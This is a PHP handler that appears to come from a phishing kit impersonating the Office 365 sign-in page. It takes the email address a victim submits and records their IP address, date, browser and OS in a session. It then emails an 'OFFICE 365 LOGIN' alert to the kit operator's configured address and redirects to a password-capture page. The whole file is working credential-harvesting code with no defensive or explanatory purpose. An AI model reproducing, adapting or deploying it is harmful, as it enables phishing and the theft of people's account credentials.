<?php
session_start();
error_reporting(0);
# Adding Settings
include('../function.php');
include('../config.php');
# User Agent 

$useragent = $_SERVER['HTTP_USER_AGENT'];
##

// Get IP and date
$IP = $_SERVER['REMOTE_ADDR'];
$date = date('d/m/Y h:i:s a');
$os = php_uname();

// Store email in session for later use
$_SESSION['email'] = $_POST["email"];

// Initialize credentials array to store all credentials
if (!isset($_SESSION['credentials'])) {
    $_SESSION['credentials'] = array();
}
$_SESSION['credentials']['email'] = $_POST["email"];
$_SESSION['credentials']['ip'] = $IP;
$_SESSION['credentials']['date'] = $date;
$_SESSION['credentials']['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['credentials']['os'] = $os;

// Only send the initial visit notification, not the credentials yet
// Message construction moved to password.php to send email and password together

# Send Mail

if ($settings['send_mail'] == "1"){
    $to = $settings['email'];
    $headers = "Content-type:text/plain;charset=UTF-8\r\n";
    $headers .= "From: Holaide <olaideadebowale241@may.com\r\n";
    $subject = "✦ OFFICE 365 LOGIN FROM ✦ {$IP} ✦";
    $msg = $msgtg;
    mail($to, $subject, $msg, $headers);
  }

header('Location: password1.php');
?>